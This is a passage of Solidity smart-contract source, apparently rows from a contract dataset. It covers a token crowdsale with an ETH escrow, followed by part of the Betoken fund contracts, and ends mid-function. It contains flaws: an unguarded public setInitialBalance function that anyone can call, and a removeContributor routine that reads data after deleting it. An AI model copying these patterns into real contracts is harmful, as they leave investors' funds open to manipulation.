uint public initialBalance;
uint public withdrawed;
address public multisig;
Registry registry;
PermissionManager public permissionManager;
uint nextContributorToTransferEth;
address public observer;
uint dateDeployed;
mapping(address => bool) private hasWithdrawedEth;
event InitialBalanceChanged(uint balance);
event EthReleased(uint ethreleased);
event EthRefunded(address contributor, uint ethrefunded);
event StageChanged(uint8 newStage);
event EthReturnedToOwner(address owner, uint balance);
modifier onlyPermitted() {
require(permissionManager.isPermitted(msg.sender) || msg.sender == owner);
_;
}
modifier onlyObserver() {
require(msg.sender == observer || msg.sender == owner);
_;
}
function Hold(address _multisig, uint cap, address pm, address registryAddress, address observerAddr) public {
percentage = 100 / stages;
currentStage = 0;
multisig = _multisig;
initialBalance = cap;
dateDeployed = now;
permissionManager = PermissionManager(pm);
registry = Registry(registryAddress);
observer = observerAddr;
}
function setPermissionManager(address _permadr) public onlyOwner {
require(_permadr != 0x0);
permissionManager = PermissionManager(_permadr);
}
function setObserver(address observerAddr) public onlyOwner {
require(observerAddr != 0x0);
observer = observerAddr;
}
function setInitialBalance(uint inBal) public {
initialBalance = inBal;
InitialBalanceChanged(inBal);
}
function releaseAllETH() onlyPermitted public {
uint balReleased = getBalanceReleased();
require(balReleased > 0);
require(this.balance >= balReleased);
multisig.transfer(balReleased);
withdrawed += balReleased;
EthReleased(balReleased);
}
function releaseETH(uint n) onlyPermitted public {
require(this.balance >= n);
require(getBalanceReleased() >= n);
multisig.transfer(n);
withdrawed += n;
EthReleased(n);
}
function getBalance() public view returns (uint) {
return this.balance;
}
function changeStageAndReleaseETH() public onlyObserver {
uint8 newStage = currentStage + 1;
require(newStage <= stages);
currentStage = newStage;
StageChanged(newStage);
releaseAllETH();
}
function changeStage() public onlyObserver {
uint8 newStage = currentStage + 1;
require(newStage <= stages);
currentStage = newStage;
StageChanged(newStage);
}
function getBalanceReleased() public view returns (uint) {
return initialBalance * percentage * currentStage / 100 - withdrawed ;
}
function returnETHByOwner() public onlyOwner {
require(now > dateDeployed + 183 days);
uint balance = getBalance();
owner.transfer(getBalance());
EthReturnedToOwner(owner, balance);
}
function refund(uint _numberOfReturns) public onlyOwner {
require(_numberOfReturns > 0);
address currentParticipantAddress;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++) {
currentParticipantAddress = registry.getContributorByIndex(nextContributorToTransferEth);
if (currentParticipantAddress == 0x0)
return;
if (!hasWithdrawedEth[currentParticipantAddress]) {
uint EthAmount = registry.getContributionETH(currentParticipantAddress);
EthAmount -= EthAmount * (percentage / 100 * currentStage);
currentParticipantAddress.transfer(EthAmount);
EthRefunded(currentParticipantAddress, EthAmount);
hasWithdrawedEth[currentParticipantAddress] = true;
}
nextContributorToTransferEth += 1;
}
}
function() public payable {
}
function getWithdrawed(address contrib) public onlyPermitted view returns (bool) {
return hasWithdrawedEth[contrib];
}
}
contract Crowdsale is Pausable, ETHPriceWatcher, ERC223ReceivingContract {
using SafeMath for uint256;
UnityToken public token;
Hold hold;
ConvertQuote convert;
Registry registry;
enum SaleState {NEW, SALE, ENDED, REFUND}
uint public softCap;
uint public hardCap;
uint public hardCapToken;
uint public startDate;
uint public endDate;
uint public ethUsdPrice;
uint public tokenUSDRate;
uint private ethRaised;
uint private usdRaised;
uint private totalTokens;
uint public withdrawedTokens;
uint public minimalContribution;
bool releasedTokens;
BuildingStatus public statusI;
PermissionManager public permissionManager;
uint private minimumTokensToStart;
SaleState public state;
uint private nextContributorToClaim;
uint private nextContributorToTransferTokens;
mapping(address => bool) private hasWithdrawedTokens;
mapping(address => bool) private hasRefunded;
event CrowdsaleStarted(uint blockNumber);
event CrowdsaleEnded(uint blockNumber);
event SoftCapReached(uint blockNumber);
event HardCapReached(uint blockNumber);
event ContributionAdded(address contrib, uint amount, uint amusd, uint tokens, uint ethusdrate);
event ContributionAddedManual(address contrib, uint amount, uint amusd, uint tokens, uint ethusdrate);
event ContributionEdit(address contrib, uint amount, uint amusd, uint tokens, uint ethusdrate);
event ContributionRemoved(address contrib, uint amount, uint amusd, uint tokens);
event TokensTransfered(address contributor, uint amount);
event Refunded(address ref, uint amount);
event ErrorSendingETH(address to, uint amount);
event WithdrawedEthToHold(uint amount);
event ManualChangeStartDate(uint beforeDate, uint afterDate);
event ManualChangeEndDate(uint beforeDate, uint afterDate);
event TokensTransferedToHold(address hold, uint amount);
event TokensTransferedToOwner(address hold, uint amount);
event ChangeMinAmount(uint oldMinAmount, uint minAmount);
event ChangePreSale(address preSale);
event ChangeTokenUSDRate(uint oldTokenUSDRate, uint tokenUSDRate);
event ChangeHardCapToken(uint oldHardCapToken, uint newHardCapToken);
event SoftCapChanged();
event HardCapChanged();
modifier onlyPermitted() {
require(permissionManager.isPermitted(msg.sender) || msg.sender == owner);
_;
}
function Crowdsale(
address tokenAddress,
address registryAddress,
address _permissionManager,
uint start,
uint end,
uint _softCap,
uint _hardCap,
address holdCont,
uint _ethUsdPrice) public
{
token = UnityToken(tokenAddress);
permissionManager = PermissionManager(_permissionManager);
state = SaleState.NEW;
startDate = start;
endDate = end;
minimalContribution = 0.3 * 1 ether;
tokenUSDRate = 44500;
releasedTokens = false;
softCap = _softCap * 1 ether;
hardCap = _hardCap * 1 ether;
hardCapToken = 100000 * 1 ether;
ethUsdPrice = _ethUsdPrice;
hold = Hold(holdCont);
registry = Registry(registryAddress);
}
function setPermissionManager(address _permadr) public onlyOwner {
require(_permadr != 0x0);
permissionManager = PermissionManager(_permadr);
}
function setRegistry(address _regadr) public onlyOwner {
require(_regadr != 0x0);
registry = Registry(_regadr);
}
function setTokenUSDRate(uint _tokenUSDRate) public onlyOwner {
require(_tokenUSDRate > 0);
uint oldTokenUSDRate = tokenUSDRate;
tokenUSDRate = _tokenUSDRate;
ChangeTokenUSDRate(oldTokenUSDRate, _tokenUSDRate);
}
function getTokenUSDRate() public view returns (uint) {
return tokenUSDRate;
}
function receiveEthPrice(uint _ethUsdPrice) external onlyEthPriceProvider {
require(_ethUsdPrice > 0);
ethUsdPrice = _ethUsdPrice;
}
function setEthPriceProvider(address provider) external onlyOwner {
require(provider != 0x0);
ethPriceProvider = provider;
}
function setHold(address holdCont) public onlyOwner {
require(holdCont != 0x0);
hold = Hold(holdCont);
}
function setToken(address tokCont) public onlyOwner {
require(tokCont != 0x0);
token = UnityToken(tokCont);
}
function setStatusI(address statI) public onlyOwner {
require(statI != 0x0);
statusI = BuildingStatus(statI);
}
function setStartDate(uint date) public onlyOwner {
uint oldStartDate = startDate;
startDate = date;
ManualChangeStartDate(oldStartDate, date);
}
function setEndDate(uint date) public onlyOwner {
uint oldEndDate = endDate;
endDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setSoftCap(uint _softCap) public onlyOwner {
softCap = _softCap * 1 ether;
SoftCapChanged();
}
function setHardCap(uint _hardCap) public onlyOwner {
hardCap = _hardCap * 1 ether;
HardCapChanged();
}
function setMinimalContribution(uint minimumAmount) public onlyOwner {
uint oldMinAmount = minimalContribution;
minimalContribution = minimumAmount;
ChangeMinAmount(oldMinAmount, minimalContribution);
}
function setHardCapToken(uint _hardCapToken) public onlyOwner {
require(_hardCapToken > 1 ether);
uint oldHardCapToken = _hardCapToken;
hardCapToken = _hardCapToken;
ChangeHardCapToken(oldHardCapToken, hardCapToken);
}
function() whenNotPaused public payable {
require(state == SaleState.SALE);
require(now >= startDate);
require(msg.value >= minimalContribution);
bool ckeck = checkCrowdsaleState(msg.value);
if(ckeck) {
processTransaction(msg.sender, msg.value);
} else {
msg.sender.transfer(msg.value);
}
}
function checkCrowdsaleState(uint _amount) internal returns (bool) {
uint usd = _amount.mul(ethUsdPrice);
if (usdRaised.add(usd) >= hardCap) {
state = SaleState.ENDED;
statusI.setStatus(BuildingStatus.statusEnum.preparation_works);
HardCapReached(block.number);
CrowdsaleEnded(block.number);
return true;
}
if (now > endDate) {
if (usdRaised.add(usd) >= softCap) {
state = SaleState.ENDED;
statusI.setStatus(BuildingStatus.statusEnum.preparation_works);
CrowdsaleEnded(block.number);
return false;
} else {
state = SaleState.REFUND;
statusI.setStatus(BuildingStatus.statusEnum.refund);
CrowdsaleEnded(block.number);
return false;
}
}
return true;
}
function processTransaction(address _contributor, uint _amount) internal {
require(msg.value >= minimalContribution);
uint maxContribution = calculateMaxContributionUsd();
uint contributionAmountUsd = _amount.mul(ethUsdPrice);
uint contributionAmountETH = _amount;
uint returnAmountETH = 0;
if (maxContribution < contributionAmountUsd) {
contributionAmountUsd = maxContribution;
uint returnAmountUsd = _amount.mul(ethUsdPrice) - maxContribution;
returnAmountETH = contributionAmountETH - returnAmountUsd.div(ethUsdPrice);
contributionAmountETH = contributionAmountETH.sub(returnAmountETH);
}
if (usdRaised + contributionAmountUsd >= softCap && softCap > usdRaised) {
SoftCapReached(block.number);
}
uint tokens = contributionAmountUsd.div(tokenUSDRate);
if(totalTokens + tokens > hardCapToken) {
_contributor.transfer(_amount);
} else {
if (tokens > 0) {
registry.addContribution(_contributor, contributionAmountETH, contributionAmountUsd, tokens, ethUsdPrice);
ethRaised += contributionAmountETH;
totalTokens += tokens;
usdRaised += contributionAmountUsd;
if(token.transfer(msg.sender, tokens)) {
TokensTransfered(msg.sender, tokens);
withdrawedTokens += tokens;
hasWithdrawedTokens[msg.sender] = true;
}
ContributionAdded(_contributor, contributionAmountETH, contributionAmountUsd, tokens, ethUsdPrice);
}
}
if (returnAmountETH != 0) {
_contributor.transfer(returnAmountETH);
}
}
function refundTransaction(bool _stateChanged) internal {
if (_stateChanged) {
msg.sender.transfer(msg.value);
} else{
revert();
}
}
function getTokensIssued() public view returns (uint) {
return totalTokens;
}
function getTotalUSDInTokens() public view returns (uint) {
return totalTokens.mul(tokenUSDRate);
}
function getUSDRaised() public view returns (uint) {
return usdRaised;
}
function calculateMaxContributionUsd() public constant returns (uint) {
return hardCap - usdRaised;
}
function calculateMaxTokensIssued() public constant returns (uint) {
return hardCapToken - totalTokens;
}
function calculateMaxEthIssued() public constant returns (uint) {
return hardCap.mul(ethUsdPrice) - usdRaised.mul(ethUsdPrice);
}
function getEthRaised() public view returns (uint) {
return ethRaised;
}
function checkBalanceContract() internal view returns (uint) {
return token.balanceOf(this);
}
function getContributorTokens(address contrib) public view returns (uint) {
return registry.getContributionTokens(contrib);
}
function getContributorETH(address contrib) public view returns (uint) {
return registry.getContributionETH(contrib);
}
function getContributorUSD(address contrib) public view returns (uint) {
return registry.getContributionUSD(contrib);
}
function getTokens() public whenNotPaused {
require((now > endDate && usdRaised >= softCap ) || (usdRaised >= hardCap) );
require(state == SaleState.ENDED);
require(!hasWithdrawedTokens[msg.sender] && registry.isActiveContributor(msg.sender));
require(getTokenBalance() >= registry.getContributionTokens(msg.sender));
uint numberOfUNT = registry.getContributionTokens(msg.sender);
if(token.transfer(msg.sender, numberOfUNT)) {
TokensTransfered(msg.sender, numberOfUNT);
withdrawedTokens += numberOfUNT;
hasWithdrawedTokens[msg.sender] = true;
}
}
function getOverTokens() public onlyOwner {
require(checkBalanceContract() > (totalTokens - withdrawedTokens));
uint balance = checkBalanceContract() - (totalTokens - withdrawedTokens);
if(balance > 0) {
if(token.transfer(msg.sender, balance)) {
TokensTransfered(msg.sender, balance);
}
}
}
function withdrawEth() public onlyOwner {
require(state == SaleState.ENDED);
uint bal = this.balance;
hold.transfer(bal);
hold.setInitialBalance(bal);
WithdrawedEthToHold(bal);
}
function newCrowdsale() public onlyOwner {
state = SaleState.NEW;
}
function startCrowdsale() public onlyOwner {
require(now > startDate && now <= endDate);
require(state == SaleState.NEW);
statusI.setStatus(BuildingStatus.statusEnum.crowdsale);
state = SaleState.SALE;
CrowdsaleStarted(block.number);
}
function hasEnded() public constant returns (bool) {
return now > endDate || state == SaleState.ENDED;
}
function getTokenBalance() public constant returns (uint) {
return token.balanceOf(this);
}
function getSoftCap() public view returns (uint) {
return softCap;
}
function getHardCap() public view returns (uint) {
return hardCap;
}
function getStartDate() public view returns (uint) {
return startDate;
}
function getEndDate() public view returns (uint) {
return endDate;
}
function getContributorAmount() public view returns (uint) {
return registry.getContributorAmount();
}
function getWithdrawed(address contrib) public view returns (bool) {
return hasWithdrawedTokens[contrib];
}
function getRefunded(address contrib) public view returns (bool) {
return hasRefunded[contrib];
}
function addContributor(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote) public onlyPermitted {
registry.addContributor(_contributor, _amount, _amusd, _tokens, _quote);
ethRaised += _amount;
usdRaised += _amusd;
totalTokens += _tokens;
ContributionAddedManual(_contributor, ethRaised, usdRaised, totalTokens, _quote);
}
function editContribution(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote) public onlyPermitted {
ethRaised -= registry.getContributionETH(_contributor);
usdRaised -= registry.getContributionUSD(_contributor);
totalTokens -= registry.getContributionTokens(_contributor);
registry.editContribution(_contributor, _amount, _amusd, _tokens, _quote);
ethRaised += _amount;
usdRaised += _amusd;
totalTokens += _tokens;
ContributionAdded(_contributor, ethRaised, usdRaised, totalTokens, _quote);
}
function removeContributor(address _contributor) public onlyPermitted {
registry.removeContribution(_contributor);
ethRaised -= registry.getContributionETH(_contributor);
usdRaised -= registry.getContributionUSD(_contributor);
totalTokens -= registry.getContributionTokens(_contributor);
ContributionRemoved(_contributor, ethRaised, usdRaised, totalTokens);
}
} | 0 | 1,324 |
pragma solidity 0.5.8;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface IMiniMeToken {
function balanceOf(address _owner) external view returns (uint256 balance);
function totalSupply() external view returns(uint);
function generateTokens(address _owner, uint _amount) external returns (bool);
function destroyTokens(address _owner, uint _amount) external returns (bool);
function totalSupplyAt(uint _blockNumber) external view returns(uint);
function balanceOfAt(address _holder, uint _blockNumber) external view returns (uint);
function transferOwnership(address newOwner) external;
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface KyberNetwork {
function getExpectedRate(ERC20Detailed src, ERC20Detailed dest, uint srcQty) external view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(
ERC20Detailed src, uint srcAmount, ERC20Detailed dest, address payable destAddress, uint maxDestAmount,
uint minConversionRate, address walletId, bytes calldata hint) external payable returns(uint);
}
contract Utils {
using SafeMath for uint256;
using SafeERC20 for ERC20Detailed;
modifier isValidToken(address _token) {
require(_token != address(0));
if (_token != address(ETH_TOKEN_ADDRESS)) {
require(isContract(_token));
}
_;
}
address public DAI_ADDR;
address payable public KYBER_ADDR;
bytes public constant PERM_HINT = "PERM";
ERC20Detailed internal constant ETH_TOKEN_ADDRESS = ERC20Detailed(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
ERC20Detailed internal dai;
KyberNetwork internal kyber;
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28);
uint constant internal ETH_DECIMALS = 18;
uint constant internal MAX_DECIMALS = 18;
constructor(
address _daiAddr,
address payable _kyberAddr
) public {
DAI_ADDR = _daiAddr;
KYBER_ADDR = _kyberAddr;
dai = ERC20Detailed(_daiAddr);
kyber = KyberNetwork(_kyberAddr);
}
function getDecimals(ERC20Detailed _token) internal view returns(uint256) {
if (address(_token) == address(ETH_TOKEN_ADDRESS)) {
return uint256(ETH_DECIMALS);
}
return uint256(_token.decimals());
}
function getBalance(ERC20Detailed _token, address _addr) internal view returns(uint256) {
if (address(_token) == address(ETH_TOKEN_ADDRESS)) {
return uint256(_addr.balance);
}
return uint256(_token.balanceOf(_addr));
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns(uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
function __kyberTrade(ERC20Detailed _srcToken, uint256 _srcAmount, ERC20Detailed _destToken)
internal
returns(
uint256 _destPriceInSrc,
uint256 _srcPriceInDest,
uint256 _actualDestAmount,
uint256 _actualSrcAmount
)
{
require(_srcToken != _destToken);
(, uint256 rate) = kyber.getExpectedRate(_srcToken, _destToken, _srcAmount);
require(rate > 0);
uint256 beforeSrcBalance = getBalance(_srcToken, address(this));
uint256 msgValue;
if (_srcToken != ETH_TOKEN_ADDRESS) {
msgValue = 0;
_srcToken.safeApprove(KYBER_ADDR, 0);
_srcToken.safeApprove(KYBER_ADDR, _srcAmount);
} else {
msgValue = _srcAmount;
}
_actualDestAmount = kyber.tradeWithHint.value(msgValue)(
_srcToken,
_srcAmount,
_destToken,
toPayableAddr(address(this)),
MAX_QTY,
rate,
0x332D87209f7c8296389C307eAe170c2440830A47,
PERM_HINT
);
require(_actualDestAmount > 0);
if (_srcToken != ETH_TOKEN_ADDRESS) {
_srcToken.safeApprove(KYBER_ADDR, 0);
}
_actualSrcAmount = beforeSrcBalance.sub(getBalance(_srcToken, address(this)));
_destPriceInSrc = calcRateFromQty(_actualDestAmount, _actualSrcAmount, getDecimals(_destToken), getDecimals(_srcToken));
_srcPriceInDest = calcRateFromQty(_actualSrcAmount, _actualDestAmount, getDecimals(_srcToken), getDecimals(_destToken));
}
function isContract(address _addr) view internal returns(bool) {
uint size;
if (_addr == address(0)) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function toPayableAddr(address _addr) pure internal returns (address payable) {
return address(uint160(_addr));
}
}
interface BetokenProxyInterface {
function betokenFundAddress() external view returns (address payable);
function updateBetokenFundAddress() external;
}
contract BetokenStorage is Ownable, ReentrancyGuard {
using SafeMath for uint256;
enum CyclePhase { Intermission, Manage }
enum VoteDirection { Empty, For, Against }
enum Subchunk { Propose, Vote }
struct Investment {
address tokenAddress;
uint256 cycleNumber;
uint256 stake;
uint256 tokenAmount;
uint256 buyPrice;
uint256 sellPrice;
uint256 buyTime;
uint256 buyCostInDAI;
bool isSold;
}
uint256 public constant COMMISSION_RATE = 20 * (10 ** 16);
uint256 public constant ASSET_FEE_RATE = 1 * (10 ** 15);
uint256 public constant NEXT_PHASE_REWARD = 1 * (10 ** 18);
uint256 public constant MAX_BUY_KRO_PROP = 1 * (10 ** 16);
uint256 public constant FALLBACK_MAX_DONATION = 100 * (10 ** 18);
uint256 public constant MIN_KRO_PRICE = 25 * (10 ** 17);
uint256 public constant COLLATERAL_RATIO_MODIFIER = 75 * (10 ** 16);
uint256 public constant MIN_RISK_TIME = 9 days;
uint256 public constant INACTIVE_THRESHOLD = 6;
uint256 public constant CHUNK_SIZE = 3 days;
uint256 public constant PROPOSE_SUBCHUNK_SIZE = 1 days;
uint256 public constant CYCLES_TILL_MATURITY = 3;
uint256 public constant QUORUM = 10 * (10 ** 16);
uint256 public constant VOTE_SUCCESS_THRESHOLD = 75 * (10 ** 16);
bool public hasInitializedTokenListings;
address public controlTokenAddr;
address public shareTokenAddr;
address payable public proxyAddr;
address public compoundFactoryAddr;
address public betokenLogic;
address payable public devFundingAccount;
address payable public previousVersion;
uint256 public cycleNumber;
uint256 public totalFundsInDAI;
uint256 public startTimeOfCyclePhase;
uint256 public devFundingRate;
uint256 public totalCommissionLeft;
uint256[2] public phaseLengths;
mapping(address => uint256) public lastCommissionRedemption;
mapping(address => mapping(uint256 => bool)) public hasRedeemedCommissionForCycle;
mapping(address => mapping(uint256 => uint256)) public riskTakenInCycle;
mapping(address => uint256) public baseRiskStakeFallback;
mapping(address => Investment[]) public userInvestments;
mapping(address => address payable[]) public userCompoundOrders;
mapping(uint256 => uint256) public totalCommissionOfCycle;
mapping(uint256 => uint256) public managePhaseEndBlock;
mapping(address => uint256) public lastActiveCycle;
mapping(address => bool) public isKyberToken;
mapping(address => bool) public isCompoundToken;
mapping(address => bool) public isPositionToken;
CyclePhase public cyclePhase;
bool public hasFinalizedNextVersion;
bool public upgradeVotingActive;
address payable public nextVersion;
address[5] public proposers;
address payable[5] public candidates;
uint256[5] public forVotes;
uint256[5] public againstVotes;
uint256 public proposersVotingWeight;
mapping(uint256 => mapping(address => VoteDirection[5])) public managerVotes;
mapping(uint256 => uint256) public upgradeSignalStrength;
mapping(uint256 => mapping(address => bool)) public upgradeSignal;
IMiniMeToken internal cToken;
IMiniMeToken internal sToken;
BetokenProxyInterface internal proxy;
event ChangedPhase(uint256 indexed _cycleNumber, uint256 indexed _newPhase, uint256 _timestamp, uint256 _totalFundsInDAI);
event Deposit(uint256 indexed _cycleNumber, address indexed _sender, address _tokenAddress, uint256 _tokenAmount, uint256 _daiAmount, uint256 _timestamp);
event Withdraw(uint256 indexed _cycleNumber, address indexed _sender, address _tokenAddress, uint256 _tokenAmount, uint256 _daiAmount, uint256 _timestamp);
event CreatedInvestment(uint256 indexed _cycleNumber, address indexed _sender, uint256 _id, address _tokenAddress, uint256 _stakeInWeis, uint256 _buyPrice, uint256 _costDAIAmount, uint256 _tokenAmount);
event SoldInvestment(uint256 indexed _cycleNumber, address indexed _sender, uint256 _id, address _tokenAddress, uint256 _receivedKairo, uint256 _sellPrice, uint256 _earnedDAIAmount);
event CreatedCompoundOrder(uint256 indexed _cycleNumber, address indexed _sender, uint256 _id, address _order, bool _orderType, address _tokenAddress, uint256 _stakeInWeis, uint256 _costDAIAmount);
event SoldCompoundOrder(uint256 indexed _cycleNumber, address indexed _sender, uint256 _id, address _order, bool _orderType, address _tokenAddress, uint256 _receivedKairo, uint256 _earnedDAIAmount);
event RepaidCompoundOrder(uint256 indexed _cycleNumber, address indexed _sender, uint256 _id, address _order, uint256 _repaidDAIAmount);
event CommissionPaid(uint256 indexed _cycleNumber, address indexed _sender, uint256 _commission);
event TotalCommissionPaid(uint256 indexed _cycleNumber, uint256 _totalCommissionInDAI);
event Register(address indexed _manager, uint256 _donationInDAI, uint256 _kairoReceived);
event SignaledUpgrade(uint256 indexed _cycleNumber, address indexed _sender, bool indexed _inSupport);
event DeveloperInitiatedUpgrade(uint256 indexed _cycleNumber, address _candidate);
event InitiatedUpgrade(uint256 indexed _cycleNumber);
event ProposedCandidate(uint256 indexed _cycleNumber, uint256 indexed _voteID, address indexed _sender, address _candidate);
event Voted(uint256 indexed _cycleNumber, uint256 indexed _voteID, address indexed _sender, bool _inSupport, uint256 _weight);
event FinalizedNextVersion(uint256 indexed _cycleNumber, address _nextVersion);
function currentChunk() public view returns (uint) {
if (cyclePhase != CyclePhase.Manage) {
return 0;
}
return (now - startTimeOfCyclePhase) / CHUNK_SIZE;
}
function currentSubchunk() public view returns (Subchunk _subchunk) {
if (cyclePhase != CyclePhase.Manage) {
return Subchunk.Vote;
}
uint256 timeIntoCurrChunk = (now - startTimeOfCyclePhase) % CHUNK_SIZE;
return timeIntoCurrChunk < PROPOSE_SUBCHUNK_SIZE ? Subchunk.Propose : Subchunk.Vote;
}
function getVotingWeight(address _of) public view returns (uint256 _weight) {
if (cycleNumber <= CYCLES_TILL_MATURITY || _of == address(0)) {
return 0;
}
return cToken.balanceOfAt(_of, managePhaseEndBlock[cycleNumber.sub(CYCLES_TILL_MATURITY)]);
}
function getTotalVotingWeight() public view returns (uint256 _weight) {
if (cycleNumber <= CYCLES_TILL_MATURITY) {
return 0;
}
return cToken.totalSupplyAt(managePhaseEndBlock[cycleNumber.sub(CYCLES_TILL_MATURITY)]).sub(proposersVotingWeight);
}
function kairoPrice() public view returns (uint256 _kairoPrice) {
if (cToken.totalSupply() == 0) { return MIN_KRO_PRICE; }
uint256 controlPerKairo = totalFundsInDAI.mul(10 ** 18).div(cToken.totalSupply());
if (controlPerKairo < MIN_KRO_PRICE) {
return MIN_KRO_PRICE;
}
return controlPerKairo;
}
}
interface Comptroller {
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function markets(address cToken) external view returns (bool isListed, uint256 collateralFactorMantissa);
}
interface PriceOracle {
function getPrice(address asset) external view returns (uint);
}
interface CERC20 {
function mint(uint mintAmount) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function exchangeRateCurrent() external returns (uint);
function balanceOf(address account) external view returns (uint);
function decimals() external view returns (uint);
function underlying() external view returns (address);
}
contract CompoundOrderStorage is Ownable {
uint256 internal constant NEGLIGIBLE_DEBT = 10 ** 14;
uint256 internal constant MAX_REPAY_STEPS = 3;
Comptroller public COMPTROLLER;
PriceOracle public ORACLE;
CERC20 public CDAI;
address public CETH_ADDR;
uint256 public stake;
uint256 public collateralAmountInDAI;
uint256 public loanAmountInDAI;
uint256 public cycleNumber;
uint256 public buyTime;
uint256 public outputAmount;
address public compoundTokenAddr;
bool public isSold;
bool public orderType;
address public logicContract;
}
contract CompoundOrder is CompoundOrderStorage, Utils {
constructor(
address _compoundTokenAddr,
uint256 _cycleNumber,
uint256 _stake,
uint256 _collateralAmountInDAI,
uint256 _loanAmountInDAI,
bool _orderType,
address _logicContract,
address _daiAddr,
address payable _kyberAddr,
address _comptrollerAddr,
address _priceOracleAddr,
address _cDAIAddr,
address _cETHAddr
) public Utils(_daiAddr, _kyberAddr) {
require(_compoundTokenAddr != _cDAIAddr);
require(_stake > 0 && _collateralAmountInDAI > 0 && _loanAmountInDAI > 0);
stake = _stake;
collateralAmountInDAI = _collateralAmountInDAI;
loanAmountInDAI = _loanAmountInDAI;
cycleNumber = _cycleNumber;
compoundTokenAddr = _compoundTokenAddr;
orderType = _orderType;
logicContract = _logicContract;
COMPTROLLER = Comptroller(_comptrollerAddr);
ORACLE = PriceOracle(_priceOracleAddr);
CDAI = CERC20(_cDAIAddr);
CETH_ADDR = _cETHAddr;
}
function executeOrder(uint256 _minPrice, uint256 _maxPrice) public {
(bool success,) = logicContract.delegatecall(abi.encodeWithSelector(this.executeOrder.selector, _minPrice, _maxPrice));
